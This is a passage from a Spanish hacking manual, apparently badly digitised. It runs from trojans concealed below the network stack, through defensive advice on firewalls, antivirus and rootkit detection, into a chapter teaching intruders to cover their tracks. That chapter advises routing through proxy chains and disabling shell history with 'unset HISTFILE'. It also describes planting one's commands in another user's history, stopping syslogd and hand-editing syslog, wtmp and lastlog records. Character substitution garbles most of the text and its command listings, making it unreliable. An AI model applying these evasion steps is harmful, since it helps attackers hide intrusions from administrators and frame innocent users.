conecta sockets en caso de !ue no lo
est$n. F y tambi$n podra generar
puertas fantasma !ue no se muestran en
herramientas como Oireshark o netstat. <, por el contrario= estos puertos fantasma
podran estar mostrando trfico falso , mas 4benigno4, confundiendo al administrador de
!ue todo est bien. < incluso ms malvado= presentar las solicitudes para el trfico de red
como local 0entre procesos1 y desviar el trfico local originado por las aplicaciones hacia
la red y no para los procesos a los !ue se destinan. 2n la direccin opuesta, el (// podra
inyectar una comunicacin de respuesta al hacker en el fluo de datos desde una
aplicacin e5istente, reconocida y autori#ada F su navegador por defecto, por eemplo, o
un pe!ue)o programa de mensaera instantnea.
279
ikimilikiliklik Universidad H4CK3R
Pero e5iste una manera a%n ms
escandalosa F y ms eficiente. Hasta
ahora no hemos llegado a una
verdadera implementacin de capaF'.
Pero trascendiendo el protocolo
6.PL3P, se puede 4plantar4 el (// en
una capa lo ms bao posible en la
pila de red F al pie 0o inmediatamente
antes, seg%n el caso1 de 2thernet, del
PPPLS/3P o incluso de cosas ms
especficas, tales como Mrame Nelay
o K.&I. :na cone5in de estas nunca
se mostrar en cual!uier sniffer o netstat, nunca ser detectada por el firePall local
basado en softPare 0,one"larm, +lack3ce, etc >1 y probablemente pasar a trav$s de
firePallL gatePay e5ternos pues usara cone5iones validas. .ual!uier auditoria en el
registro de pa!uetes 07tu acostumbras a leer regularmente los archivos ClogD de tu
firePall8, -o, 7verdad81 mostrara slo los pa!uetes originados por las aplicaciones ms
comunes F navegador, cliente de correo electrnico, ;S- ;essenger >
Para la pila 6.PL3P, el backdoorLtroyano
est en el e5terior del ordenador
invadido, por lo !ue la pila no lo puede
ver y, por lo tanto, el softPare de firePall
no puede detectarlo. Por otro lado,
todava es un programa eecutndose en
el ordenador, posiblemente en modo
kernel, y con acceso 0por comunicacin
entre procesos1 a cual!uier otro
programa de la m!uina. 2sto significa
!ue literalmente todos los puertos de su
sistema estn al servicio del
backdoorLtroyano, y cual!uier registro
del firePall va a mostrar cone5iones legtimas de red. Por otra parte F es posible
interceptar cual!uier llamada a cual!uier "P3 0del kernel o de los programas1 y accesos a
disco y filtrarlos, remapearlos o reanudar la mentira. 3ncluso se puede enga)ar a 3(S con
la t$cnica. Nepugnante y efica#G
+us!ue sobre el modelo de referencia <S3, en ;S(- 0msdn.microsoft.com1 y 6ech-et
0PPP.microsoft.comLtechnet1 para aprender ms sobre V5(s y la estructura /SPL-P3
L6P3LSP3 de pila de red ;icrosoft . <bviamente, para entender lo !ue hay en dichos
recursos, son necesarios conocimientos moderados de programacin de bao nivel en la
plataforma OindoPs, especialmente si tienes acceso a una firma de (// (eveloper Sit
0((S1 o del SoftPare (evelopment Sit 0S(S1. Para cual!uier otra plataforma 0:ni5,
V"KLV;S, -ovell, "SL?'', ;acintosh, 3+; SL9B' ...1, el ra#onamiento y las t$cnicas son
e5actamente las mismas.
280
ikimilikiliklik Universidad H4CK3R
Jefensa - contraata+ue
(efenderse de las amena#as descritas en este captulo no es muy fcil. 25isten troyanos
!ue, siendo fcilmente detectables, son muy difciles o imposibles de eliminar. 2n nuestra
e5periencia, hubo al menos dos casos 0uno en OindoPs BA S2 y otro en OindoPs &'''1
en el !ue ni la recuperacin de la imagen original de la instalacin, distribuida en .( !ue
vena con el ordenador, elimino el troyano. 2ra necesario volver a hacer las particiones
0eliminacin y creacin1 y formatear el disco duro, y utili#ar una herramienta de borrado
total para eliminar todo rastro de softPare malicioso.
2n algunos casos, es posible monitori#ar las cone5iones, y una ve# detectada la
presencia del invasor, rastrearlas hasta llegar a los culpables. -o dude en contar con la
polica y un buen e!uipo de abogados en el caso de !ue alguna accin de un hacker
malicioso pueda ser encuadrada como delito.
= 2ackdoors, 1irus - tro-anos
" pesar de !ue todos son programas con aplicaciones diferentes, la profila5is y la solucin
para ellos es, bsicamente, la misma, ya !ue las formas de infeccin y los m$todos para
la deteccin y eliminacin son similares.
"ntes !ue nada 0o, como dira un compa)ero de softPare libre, en 4cersimo4 lugar1,
ed%!uese y edu!ue a sus empleados o miembros de la familia sobre las prcticas
seguras para el uso de los recursos informticos y navegacin por 3nternet. 2sto incluye
las famosas frases !ue las madres nos han dicho toda la vida 0y dicen hasta la muerte1=
no aceptes dulces de e5tra)os y no aceptes dulces e5tra)os de amistades. .uidado con
las drogas 0es decir, cosas !ue sabemos !ue son peligrosas1 y mucho cuidado al andar
en lugares apartados, con poca lu# o sospechosos. Son sabios conseos tambi$n para
3nternet y para las redes corporativas. S, mam tena ra#n ...
2s obvio !ue el usuario medio no tiene manera de saber si un programa es malicioso o ha
sido manipulado, o si ese sitio Peb contiene cdigo malicioso, o si el documento interno
de la empresa 0y por lo tanto, oficialmente autori#ado1 en formato .(<. contiene un virus
de macro ... Pero un poco de cuidado y alguna paranoia, puede librar al perro vieo de
algunas trampas.
2n cuanto a los cuidados puramente tecnolgicos !ue pueden ser implementados, en
primer lugar tenga siempre firePalls y antivirus locales 0basados en softPare1
actuali#ados. S, ya se, anteriormente die !ue, si el atacante 0o el virus1 era muy bueno,
estas herramientas no sirven para nada. (e no ser as, seremos mucho ms 4visitados4
por ni)os tratando de ugar, a !ue son bandidos digitales con alg%n profesionalismo.
Por lo tanto, firePalls locales como done ;lar(* 9lac/Ice o el 8in+ Fire$all ayudan mucho
a mantener las legiones de Siddies leos de sus computadoras. "l mismo tiempo, un buen
firePall de rack 0como .isco P3K1 o implementado con un :ni5 0antiguos 9AJ con /inu5 o
<pen+S( proporcionan e5celentes firePalls1, con reglas de filtrado, y preferiblemente,
con cone5iones a trav$s de un pro5y, tambi$n ayuda a detener a los lammers. Sugerimos
poner en prctica, ya sea en casa o en una red corporativa, los dos tipos de cortafuegos=
local 0softPare1 y en punto de cone5in 0por hardPare1.
281
ikimilikiliklik Universidad H4CK3R
(el mismo modo, los antivirus deben utili#arse para blo!uear virus conocidos. "un!ue los
antivirus no detectan una pe!ue)a parte de los virus conocidos y prcticamente ninguno
de los desconocidos, su uso es obligatorio. -o por estar griposo y no haber remedio para
eso se dean de tomar aspirinas para el dolor de cabe#a.
<tro punto importante a tener en cuenta es= saber !u$ softPare est instalado en su
ordenador. 2s com%n, en casa, descargar e instalar cual!uier tontera genial !ue
encontramos en 3nternet o en revistas !ue vienen con .(s. 2sta prctica se debe evitar
en ordenadores personales y estar terminantemente prohibida en las computadoras de la
empresa. .onociendo el softPare instalado en su ordenador, es fcil 0en algunos casos F
no en otros ...1 darse cuenta de algo e5tra)o eecutndose en la m!uina.
:n tercer elemento obligatorio de seguridad es la adopcin de polticas de usuario y de
administracin.
/as estaciones de trabao en las empresas deben emplear softPare y sistemas operativos
!ue permitan un control total por parte de los administradores, y restringir al m5imo lo
!ue el usuario medio puede hacer. 2sto incluye blo!uear la instalacin de programas y el
acceso a #onas no autori#adas del e!uipo 0como el directorio .dO3-(<OS o el Lbin en
m!uinas :ni51. Hay empresas !ue utili#an sistemas ;acintosh con ;ac <S K o
OindoPs -6L&kLKP, o incluso algunos :ni5 para P.s como Mree+S( o /inu5. /a opcin
es totalmente correcta, por!ue estos sistemas permiten montar polticas de derechos en
el ordenador y evitar !ue los usuarios 0o alg%n virus o troyano1 instalen softPare no
autori#ado en la m!uina. Pero no sirve de nada poner un OindoPs KP Professional
como estacin de trabao y no configurarlo para la seguridad, dendolo con las opciones
por defecto. Se debera austar y !uitar al usuario com%n todos los permisos de acceso
!ue sean potencialmente peligrosas para la estacin y la red.
3ncluso en casa, los usuarios dom$sticos de OindoPs -6L&kLKP y ;ac <S deben crear
cuentas de usuario sin muchos permisos y usar efectivamente estas cuentas en el da a
daG (ee la cuenta de administrador slo para la administracin e instalacin de
programas. /o mismo vale para los ya no tan pocos usuarios dom$sticos de /inu5. /inu5
0y :ni51 ya vienen 4de fbrica4 con este es!uema de usuarios y permisos. Pero 0siempre
hay un pero1 los usuarios siempre se 4salen con la suya4 para romper este es!uema y
comprometer la seguridad. .osas como abusar de el uso de CsudoD u operar como
usuario CrootD 0el mayor sacrilegio de todos1 son muy comunes.
Si fue infectado, no use cual!uier herramienta de desinfeccin !ue no sea de
desarrolladores serios. (escargar una herramienta de un lugar sospechoso !ue promete
eliminar de tu e!uipo el Su%I es una locura. \l puede tanto hacer lo !ue promete, cmo
!uitar el Su%I e instalar otro backdoor, o 4parchear4 el Su%I para !ue tu antivirus no lo
detecte F pero el todava est ah.
2n cuanto a los rootkits, una buena manera de evitarlos es no permitir !ue un usuario
tenga poderes suficientes para llegar a las partes crticas del sistema. :n root/it precisa
ser instalado. 3ncluso si la instalacin es automtica, siempre se eecutar en el conte5to
del usuario. (ear a los usuarios con niveles mnimos de acceso puede dificultar la
instalacin y la accin de rootkits. "dems, la cuenta C"dministradorD o CrootD debe ser
vigilada y mantenida bao siete llaves. .ontrase)as difciles de romper o adivinar son
282
ikimilikiliklik Universidad H4CK3R
obligatorias. -o eecutar aplicaciones como rootQ;d(in 0nuncaG1, y as aislar la cuenta
principal de cual!uier %uffer overflo$s tambi$n es muy importante.
3ncluso los sistemas bien protegidos, actuali#ados y configurados tienen fallos. Por lo
tanto, es posible !ue alg%n da alg%n hacker consiga acceso privilegiado a su sistema.
Para detectar desviaciones de configuracin e instalacin de rootkits, instale 3(Ss y
programas de inventario de la integridad del archivo F 8rip$ire 0PPP.tripPire.com1 y ;I>-
0PPP.cs.tut.fiLFrammerLaide.html1 son los ms conocidos. .ompruebe las firmas de todos
los programas instalados y la integridad de los archivos de configuracin. 6odos los
desarrolladores de softPare moderno tiene bases de datos con las firmas ;(I de los
eecutables crticos.
2n cuanto a rootkits basados en kernel, en primer lugar, no dees !ue lleguen a su n%cleoG
Para empe#ar, si tu sistema lo permite 0y si usted no usa ning%n mdulo importante1,
deshabilite la opcin de cargar /S;s. Se ahorrar muchos dolores de cabe#a. Si fuese el
caso y, si es posible, recompile el kernel o pida a su proveedor !ue 3o haga. :n kernel
inmune a /S;s sin duda sera inmune a los rootkits /S;.
2n el caso de OindoPs 0incluida la familia Oin-6 1, !ue no tienen un es!uema formal de
/S;s, la %nica manera de evitar los rootkits de kernel es evitar !ue los archivos sensibles
puedan ser modificados por cual!uier usuario, adems de cuidarse de mantener la
contrase)a de administrador en lugar seguro. :n truco muy utili#ado es dear la cuenta
llamada "dministrador con una contrase)a fuerte, pero sin ning%n derecho en el sistema,
y despistar as a los atacantes. Se crea, entonces, otra cuenta con otro nombre y
contrase)a de igualmente dura y este usuario sera el administrador de hecho. * desactive
el soporte de /"- ;anager.
<bserve !ue es posible simular la implementacin de /S;s en OindoPs a trav$s de V5(
0vuelva a leer el captulo sobre las plataformas de OindoPs1 y, por tanto, el acceso a la
carpeta .=dO3-(<OS o .=dO3--6 debe blo!uearse a toda costa para los usuarios
normales.
:na forma de comprobar los discos duros en busca de rootkits 0ya sea basados en el
n%cleo o no1 es desmontarlos e instalarlos en una m!uina sana, sin derec3o para
ejecutar progra(as. /os H(s sern considerados como unidades de datos en los tests de
sistema, y cmo no son el n%cleo ni los programas infectados los !ue se estn
eecutando, y si los de la m!uina sana, todos los archivos y alteraciones de los rootkits
resultarn evidentes y comprobables. Para verificar si un rootkit est oliendo la red,
eecute un sniffer como Oireshark. .ompruebe el modo de funcionamiento de la tareta de
red. Si incluso con el sniffer, la interfa# no aparece en modo promiscuo, un rootkit
seguramente lo esta camuflando.
.omo ultima opcin, no intente aprovechar nada de un sistema comprometido. Haga
backup de datos 0y slo los datos, no de la configuracinG1 y reformatee el sistema por
completo, reinstalandolo desde cero. -o se olvide de configurarlo y actuali#arlo
completamente antes de ponerlo en produccin, de lo contrario el atacante puede volver a
entrar por el mismo aguero de antes. Tuarde una copia del H( comprometido para su
posterior anlisis e investigacin del ata!ue. Si es posible, guarde el H( original y ponga
uno nuevo en su lugar. 2s posible !ue el atacante haya patinado en un solo pe!ue)o
283
ikimilikiliklik Universidad H4CK3R
detalle, pero este detalle, si se descubre, puede conducir a su locali#acin y, si la ley lo
permite, a su arresto.
:n %ltimo conseo= -c3olot 0PPP.echolot.sourceforge.net1.
= Comunicaci/n sin coneiones
"!u entramos en terrenos pantanosos, todas las recomendaciones anteriores son
importantes y obligatorias, pero no frenan, de ninguna manera, a los verdaderos e5pertos
!ue !uieran penetrar en sus sistemas.
-o hay ning%n programa comercial !ue realice o facilite las funciones descritas. /a
mayora de ellas, sin embargo, es posible hacerlas slo con las propias configuraciones
del sistema operativo, sin herramientas e5ternas. 6enga en cuenta !ue son medidas
e5tremas y pueden verse como paranoias o incluso tonteras por los administradores con
e5periencia. Pero pueden llevarse a cabo si se necesita la m5ima seguridad.
2n primer lugar, usted debe aplicar toda la cartilla y hacer la configuracin de seguridad
normal !ue todo sistema debe tener. 2ste es un re!uisito previo.
" continuacin, debe restringir el acceso a la pila 6.PL3P 0en cada m!uina en la redG1.
Slo los programas autori#ados pueden acceder a la pila, e incluso los autori#ados deben
ser verificados respecto a su firma ;(I. .ual!uier desviacin debe blo!uearse e informar
al administrador.
2n caso de servidores, cada programa se debe eecutar con un usuario diferente, y cada
usuario debe tener acceso a un conunto diferente de directorios, archivos, bibliotecas, en
un ambiente !ue, en :ni5, se llama c3rooted. 3ncluso el directorio temporal 0Ltmp o
.dOindoPsd62;P1 debe ser dividido por procesos 0LtmpLapache, LtmpLsendmail,
LtmpLpopd, LtmpLtripPire, etc.1 y con permiso de escritura solo para el usuario
correspondiente. (e esa forma, incluso si se descubre y se e5plota un fallo en una
aplicacin, estar confinado en su propio entorno y no se le dar acceso a otras partes del
sistema.
/uego, blo!uee el acceso a todas las bibliotecas y cree imgenes separadas de ellas para
las aplicaciones F y restrinalasG Por eemplo, en una m!uina Oin-6 puede blo!uear
todas las (// del sistema y luego crear imgenes con los derechos para cada usuario
0!ue, como hemos visto, representa a un solo programa1.
Por %ltimo, una idea es montar todas las /"-s internas como VP-s encriptadas por PTP
0o alg%n otro formato1. "dems de blo!uear el trfico desde el e5terior 0ya !ue no coincide
con la codificacin y las claves usadas1, es posible dise)ar polticas de acceso
fuertemente protegidas. Slo los usuarios y las m!uinas con la clave correcta puede
acceder a ciertos recursos F es muy difcil de eludir este es!uema. Slo los servidores
e5ternos 0como su servidor Oeb1 !uedaran fuera de VP- y aceptaran cone5iones 6.PLlP
sin cifrar.
*, nuevamente, se)alar= la familia OinB5 no est dise)ada para ser cliente de red. /a pila
6.PL3P y toda la funcionalidad S;+ fue insertada ms tarde. "s !ue, nunca espere de
ella, seguridad y confiabilidad. 2n una red corporativa segura, las estaciones no pueden
ser OindoPs BILBAL;e. 2vitelas. Si realmente necesita usar OindoPs como estacin de
trabao o servidor, siempre use OindoPs &''' o superior.
284
ikimilikiliklik Universidad H4CK3R
Qa casi 8emos llegado U
*a hemos visto cmo observar, elaborar nuestro plan, atacar y mantener el ata!ue. -os
!ueda ahora, ocultar nuestras pistas. 2l siguiente captulo se ocupar de eso. Pero antes
de continuar, una pregunta= 7en realidad est haciendo los e5perimentos o simplemente
lee el libro como una novela8 /o e5hortamos encarecidamente hacer todos los
e5perimentos, desde los primeros captulos. Si no lo has hecho, vuelve al principio y
empie#a de nuevo.
"'a leccin +a la sa%e(os de (e(oria. Slo nos queda aprender ..."*
9eto :uedes e 7onaldo 9astos.
285
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa y
contraata!ue
vasin
.apitulo F 1I
C2n das de victoria, nadie se cansa 4
Proverbio rabe
286
ikimilikiliklik Universidad H4CK3R
-o importa si el obetivo del ata!ue sea causar un revuelo u obtener secretamente alg%n
beneficio= cual!uier atacante !ue se precie no desea ser rastreado, y mucho menos
atrapado. (eben observarse algunos detalles para !ue, despu$s de una invasin del tipo
4obra de arte4, sea imposible o muy difcil determinar la culpabilidad.
2n el captulo anterior, cuando hablamos de rootkits, vimos !ue ellos pueden ocultar una
multitud de detalles y, as, ocultar la presencia y la accin del hacker en el ordenador
atacado. Sin embargo, ms vale, prevenir !ue curar y, con o sin rootkits, es muy
conveniente !ue el atacante tome medidas para borrar todas las huellas y los rastros de
su paso por el sistema. 2n varias plataformas, hay herramientas !ue hacen esto
automticamente, pero entender los mecanismos de registro es muy importante para
comprobar la eficacia de esas herramientas o hacerlo todo 4a mano4, a falta de ellas.
<tro detalle al !ue el atacante debe estar atento es el camuflae de los canales de
comunicacin entre $l y el e!uipo afectado. .omo vimos en el captulo anterior, hay
maneras de hacer invisible el fluo de datos de un backdoor o caballo de 6roya ,
simplemente ocultando los bytes transmitidosLrecibidos en cone5iones vlidas. 2n este
captulo, vamos a ver ms maneras de hacer esas cone5iones invisibles.
"ntes de entrar en evasin, recuerde !ue es importante el disfra# antes del ata!ue. Si
!uieren invadir a alguien, recuerde !ue antes, debe utili#ar alg%n tipo de spoofing, como,
por eemplo, cadenas de pro5ies p%blicos o m!uinas !ue eecutan redirectores -etcat.
:sar la propia 3P para invadir a alguien es una torpe#a.
6o &Fsico. &orrar los registros
3ncluso Siddies muy malos saben !ue tienen !ue borrar sus huellas de los registros del
sistema. /o primero !ue tenemos !ue saber es, 7dnde estn estos registros8. :na ve#
!ue tengas acceso a ellos, siempre hay !ue tener en cuenta !ue no se pueden borrar
todos, de lo contrario levantars muchas sospechas en el sistema. +orra solamente lo !ue
ha sido causado por tus andan#as en el terreno aeno. * ten cuidado= algunos sistemas
tienen 3(S, otros inspectores de integridad de archivos, y algunos, tambi$n, tienen
registros en locali#aciones no estndares, deando registros falsos en la ubicacin
predeterminada para enga)ar a los invasores de medio pelo.
Necuerde= verifi!ue lnea por lnea, un archivo cada ve#, todos los archivos de registro.
+us!ue copias de ellos en locali#aciones del sistema no obvias y, si nota !ue se
encuentra en un 3one+pot, huyaG 0.omo vimos en captulos anteriores, los honeypots son sistemas
deados intencionadamente como 4cebos4 para !ue los aspirantes a piratas informticos los ata!uen.
-ormalmente son sistemas poco protegidos, con fallos intencionados y sistemas silenciosos de deteccin
de intrusos. ;uchos 3(Ss incluso, desvan al intruso silenciosamente hacia los honeypots sin !ue ellos lo
sepan. "dems de ser marcado, cuando la presa es aparentemente fcil, el atacante se vuelve
descuidado.1
= Registro de e1entos Uni
Seamos sinceros= incluso teniendo estndares, protocolos y normas en com%n, los :ni5
son diferentes entre s. .ada distro tiene un tipo distinto de sistema de archivos, erar!ua
de directorios, codificacin de caracteres, sinta5is de shell nativo, conunto de comandos
287
ikimilikiliklik Universidad H4CK3R
estndar ... 6ambi$n hay comandos !ue, a pesar de tener el mismo nombre en todas las
variedades, fabricantes y versiones :ni5, tienen una sinta5is diferente F 4ps4, 4route4, e
incluso 4ls4 son eemplos clsicos. 2l sistema de registro de eventos, por tanto, no es
inmune a estas diferencias.
2s imposible enumerar en un libro como $ste todos los tipos y las peculiaridades de los
registros en las distintas versiones de :ni5. Vamos a utili#ar el sistema /inu5 como
modelo para eemplificar una sesin de 4ciruga4 en los registros. Si alg%n script kiddie
estuviera leyendo este captulo, probablemente saltara este prrafo y se tomar la
descripcin !ue sigue como una receta universal para borrar sus pistas. -uestra
intencin, sin embargo, es otra= mostrar lo !ue tiene !ue mirar, no dnde, ni cmo ...
/o primero !ue debe verificar es el histrico de comandos de usuario. -o es e5actamente
un registro, en ve# de eso, es una lista de comandos ya emitidos !ue !uedan a
disposicin del usuario para !ue no tenga !ue escribirlos de nuevo. 2sto evita el trabao
repetitivo para el operador y, como efecto secundario, da al administrador una manera de
saber lo !ue ests haciendo ...
-o todas las shells implementan un histrico de comandos, y cada una guarda el histrico
en un archivo y en una ubicacin diferente. " modo de eemplo, un sistema /inu5
generalmente usa la versin T-: de la Shell +ourne, o +ash. 2ste shell guarda el
histrico de todo lo !ue fue tecleado 0incluso sin $5ito1 en Q3o(eQusuarioQ.%as3S3istor+. Se
trata de un archivo de te5to plano, por lo !ue, bastara editarlo para ocultar sus huellas.
:n planteamiento ms efica#, sin embargo, sera simplemente desactivar la variable de
sistema H3S6M3/2, !ue indica dnde deben ser almacenados los comandos. Para ello,
basta con emitir unset .IS8FI'-. /istoG " partir de ah, no se grabar nada 0ni el mismo
CunsetDG1 2se debera ser el primer comando a utili#ar, pero la mayora de los 4invasores4
se olvidan ... o no lo saben ...
2n :ni5 !ue no utilicen +ash, otra forma es, simplemente ... cambiar de shellG 2s posible
0y muy probable1 !ue el shell por defecto tenga histrico, y los dems no. "s !ue, si
consigues una cuenta y el shell por defecto es el s3ell 9ourne 0prompt ^ 1 simplemente
cmbielo al 1 S3ell tecleando CcshD. Si el el shell por defecto es el 1 s3ell 0prompt ]1,
cmbielo al s3ell 9ourne escribiendo CshD. /a ra#n de usar CshD y CcshD es !ue cual!uiera
de los otros 0bash, #sh, ksh1 tienen rutinas de histrico de comandos completamente
implementadas.
Para ayudar a desviar las sospechas, un atacante ms osado podra desviar los
comandos 0o copiarlos1 de su propio histrico al de el otro usuario. 3ncluso si el sistema
estuviese bao sospecha, durante un tiempo pagaran ustos por pecadores.
(espu$s de enga)ar al histrico del shell, tenemos !ue borrar las huellas en los registros
del sistema. 2n la mayora de los :ni5, un daemon se encarga de registrar los registros
del sistema es el s+slogd. 2n cual!uier :ni5, invadido, es interesante investigar en los
archivos de configuracin del daemon 0!ue, en /inu5, est enLetcLsyslog.conf F pero vara
en otros sistemas :ni51 y ver cuales son los nombres de los archivos de registro de
eventos y donde son grabados.
.omo usuario com%n 0no root1 en un sistema 'inu) 1onectiva K, el archivo
QetcQs+slog.conf muestra=
288
ikimilikiliklik Universidad H4CK3R
6 c#t CetcCsys!o.Bconf
W Lo. #!! %erne! mess#.es to t$e conso!eB
W Lo..in. mc$ e!se c!tters ' t$e screenB
W%ernBY C"evCconso!e
W Lo. #nyt$in. -e&ce't m#i!0 of !eve! info or $i.$erB
W 4on[t !o. 'riv#te #t$entic#tion mess#.es5
YBinfoam#i!Bnonea#t$'rivBnone Cv#rC!o.Cmess#.es
W T$e #t$'riv fi!e $#s restricte" #ccessB
At$'rivBY Cv#rC!o.Csecre
W Lo. #!! t$e m#i! mess#.es in one '!#ceB
m#i!BY Cv#rC!o.Cm#i!!o.
W Every/o"y .ets emer.ency mess#.esO '!s !o. t$em on #not$er
W m#c$ineB
YBemer. Y
W S#vem#i! #n" ne)s errors of !eve! err #n" $i.$er in #
W s'eci#! fi!eB
c'One)sBcrit Cv#rC!o.Cs'oo!er
W S#ve /oot mess#.es #!so to /ootB!o.
!oc#!:BY Cv#rC!o.C/ootB!o.
<bviamente, cada uno de los archivos indicados en s+slogd tiene una funcin diferente.
6odas las lneas marcadas con Cb Cse consideran comentarios y se ignoran. 2l campo de
la i#!uierda define un conunto de reglas !ue se aplican a los mensaes de registro. /os
campos de la derecha indican en !u$ archivo de registro deben ser gravados. <bserve
!ue, en el s+slog.conf anterior, el filtro CkernD .. apunta a QdevQconsole F es decir, los
mensaes del kernel se haran eco en la terminal, si la lnea estuviese sin comentarios.
.omo se puede observar, los dispositivos tambi$n se pueden usar para registrar, adems
de los archivos normales.
Por lo !ue podemos ver del s+slog.conf, tenemos, en LvarQlog*
! QvarQlogQ(essages= registra todos los mensaes de nivel informativo del sistema.
! QvarQlogQsecure6 registra el acceso a archivos y a procesos restringidos.
! QvarQlogQ(aillog6 registra mensaes de eFmail enviados y recibidos.
! QvarQlogQspooler6 registra errores en el intercambio de ;ail, ::.P y -oticias.
! QvarQlogi%oot.log= registra eventos y errores durante el arran!ue.
(e nuevo recuerde= estos lugares son para 1onectiva 'inu) KG +us!ue en el propio :ni5
invadido las ubicaciones reales de los archivos. 2s posible !ue el n%mero y sus funciones
sea diferente= puede haber un slo archivo con todos los registros, o pueden ser, por
eemplo, un archivo separado para ::.P y otro para el correo electrnico. /os script
kiddies suelen utili#ar herramientas y scripts de eliminacin de registros entre un sistema
y otro, y en lugar de esconderse, crean ms mensaes de error en los registros y alertan al
administrador antes de lo previsto. ;ire antes de actuar y haga lo correcto.
:na ve# descubiertos cuales son los archivos responsables del registro de eventos de
:ni5, bao ata!ue, podemos proceder a su edicin. "un!ue hay herramientas para aplicar
el cifrado fuerte en los archivos de registro, la gran mayora de los sistemas todava usan
289
ikimilikiliklik Universidad H4CK3R
el bueno y vieo te5to plano para gravarlos. 2sto significa !ue el hacker puede usar su
editor favorito 0emacs, vi, oe, pico ...1 para editarlo manualmente . /os autores
recomiendan siempre editar manualmente los archivos, evitando !ue suciedad, errores o
ine5actitudes en los scripts, !ue hacen esto automticamente, puedan echar todo a
perder.
6ambi$n en 1'K, vamos al directorio QvarQlog para ver lo !ue hay=
6 !s
?Free@=BoB!o.
?Free@=BoB!o.B
o!"#'#c$e
/ootB!o.
/ootB!o.B>
/ootB!o.B9
/ootB!o.B<
/ootB!o.BK
cron
cronB>
cronB9
cronB<
cronBK
c's
"mes.
$tm!#ccessB!o.
i'tr#f
%"mB!o.
!#st!o.
m#i!!o.
m#i!!o.B>
m#i!!o.B9
m#i!!o.B<
m#i!!o.BK
mess#.es
mess#.esB>
mess#.esB9
mess#.esB<
mess#.esBK
mysX!B!o.
mysX!B!o.B>B.1
n#.ios
netconfB!o.
netconfB!o.B>
netconf !o.B9
netconfB!o.B <
s#m/#
scro!!%ee'erB!o.
secre
secreB>
secreB9
secreB<
secreBK
s'oo!er
s'oo!erB>
s'oo!erB9
s'oo!erB<
s'oo!erBK
c'
vtn"
)tm'
)tm'B>
<bserve= adems de los archivo de s+slog, el directorio QvarQlog contiene los registros de
otros programas y servidores !ue se eecutan en la m!uina, tales como "pache, Samba,
.:PS y KMreeAJ. .onviene revisar los registros de todos ellos, ya !ue alguna accin tuya
0intencionadamente o no1 puede haber deado marcas en cual!uiera de ellos.
<cup$monos de los primeros cinco archivos de s+slogd. 3ncluso como usuario normal,
abra 0con su editor de te5to favorito1 el archivo %oot.log. 2n $l se encuentran los servicios
en eecucin, los mdulos del kernel cargado y los servidores !ue son iniciados y
finali#ados por inetd. <bserve !ue hay otros, llamados %oot.log.@* %oot.log.B* etc, !ue
guardan registros antiguos. "hora trata de escribir algo y guarda el archivo 0siempre como
usuario normal1. Permiso denegadoG /os otros archivos F (aillog* (essages* secure e
spooler F ni si!uiera dan permiso de lectura para los usuarios normales.
3nicie una sesin como CrootD 0o en un sistema hackeado, obt$n acceso a CrootD a trav$s
de buffer overfloP u otra t$cnica1 y abra los archivos. .ompruebe la sinta5is de los
mismos. <aillog registra la actividad de S;6P, 3;"P y P<P locales 0sendmail, postfi5,
!mail, imapd, pop9d ...1. <essages es muy importante= registra los mensaes entre
procesos y entre $stos y el Sernel. Secure, por otro lado, registra mensaes de acceso
privilegiado a archivos y procesos. " su ve#, Spooler guarda los mensaes de los
programas !ue utili#an los servicios de cola 0mail, uucp, noticias, etc.1 "un!ue usted no se
haya metido con el servidor S;6P o P<P, es prudente verificar los archivos
QvarQlogQ(aillog y QvarQlogQspool y asegurarse !ue, involuntariamente, usted no dispar
ning%n proceso !ue haya cambiado el registro. /o mismo es vlido para cual!uier proceso
o archivo, por lo tanto es esencial un cuidado general en el registro.
Volviendo a QetcQs+slogd.conf, la lnea
290
ikimilikiliklik Universidad H4CK3R
W Every/o"y .ets emer.ency mess#.esO '!s !o. t$em on #not$er
W m#c$ineB
YBemer. Y
indica !ue cual!uier mensae de emergencia del sistema se har eco en todos los
registros y para todos los usuarios. .uidado con esto= si el sistema detecta !ue estn
ocurriendo cosas e5tra)as, es posible !ue todos los usuarios sean avisados F por lo tanto,
es una buena idea detener el servicio s+slogd o reiniciarlo con esta lnea comentada.
Vea las pginas del manual de s+slogd + s+slog.conf del :ni5 afectado para ms
detalles.
Pero, ms all de lo supervisado por s+slogd, hay otros archivos de real importancia.
:no de ellos es el sistema ut(pQ$t(pQlastlog. 2l ut(p es un subsistema !ue registra
!uien esta conectado en cada momento. .uando el usuario 0o administrador1 emite un
comando CPhoD, el comando va a leer en QvarQrunQut(p la informacin sobre todas las
cuentas en uso, en !ue terminales estn y, si hay una cone5in remota, la direccin 3P de
origen de la cone5in. Por eemplo, en el momento de escribir estas lneas, el comando
CPhoD informa=
$enriXe 'tsCA Fe/ >= >KEK9
$enriXe 'tsC> Fe/ >= >=EA:
Sin embargo, puedo decirle al comando CPhoD en !ue archivo buscar. Si yo emito el
comando $3o QvarQrunQut(p, el resultado es el mismo= CPhoD sin argumentos siempre lee
el fichero ut(p. Pero 7si le pido a CPhoD consultar en QvarQlogQ$t(p8
$enriXe 'tsC< g#n 8 A;E >= ->89B>=@B>B9980
$enriXe 'tsC< g#n 8 A;E >K ->89B>=@B>B9980
D#mes 'tsCA Fev 9 >>E ;A
root tty> Fev ; 99E>=
$enriXe tty9 Fev ; 99E>:
$enriXe tty< Fev ; 99E9<
root ttyK Fev ; 99EKA
root 'tsCA Fev ; 99EK8
root 'tsC> Fev ; 99E;9
2l archivo es muy grande, se muestran slo unas pocas lneas. -ota= 2l B de enero, el
usuario Henri!ue hi#o dos cone5iones a este e!uipo 0!ue, por curiosidad, fue la
1B&.1JA.1.111 a partir de otra, la 1B&.1JA.1.&&B. 2l & de febrero, el usuario Zames se
conecto localmente en la m!uina, y el da I el usuario Henri!ue se registro como usuario
CrootD varias veces.
2l comando "last" hace un cruce de informacin entre los archivos QvarQlogQlastlog +
QvarQlogQ$t(p y, muestra en la pantalla informacin detallada de los %ltimos das sobre el
tiempo de cone5in y descone5in de cada usuario, e incluso del reinicio de la m!uina.
2l comando "lastlog", por su parte, muestra cuando cada uno de los usuarios del sistema
se registraron por %ltima ve#. :n usuario deshabilitado !ue este conectado desde el da
anterior es un hecho alarmante.
Para el administrador del sistema, usar los comandos "last"* "lastlog" + "$3o" para
comprobar el LvarQlogQ$t(p es una medida tanto preventiva como correctiva. Por lo tanto,
es imprescindible para el cracker !ue !uiera borrar sus huellas, eliminar todas las
291
ikimilikiliklik Universidad H4CK3R
referencias a $l en estos archivos. "s !ue nuestro intr$pido intruso usa el pico 0...1 para
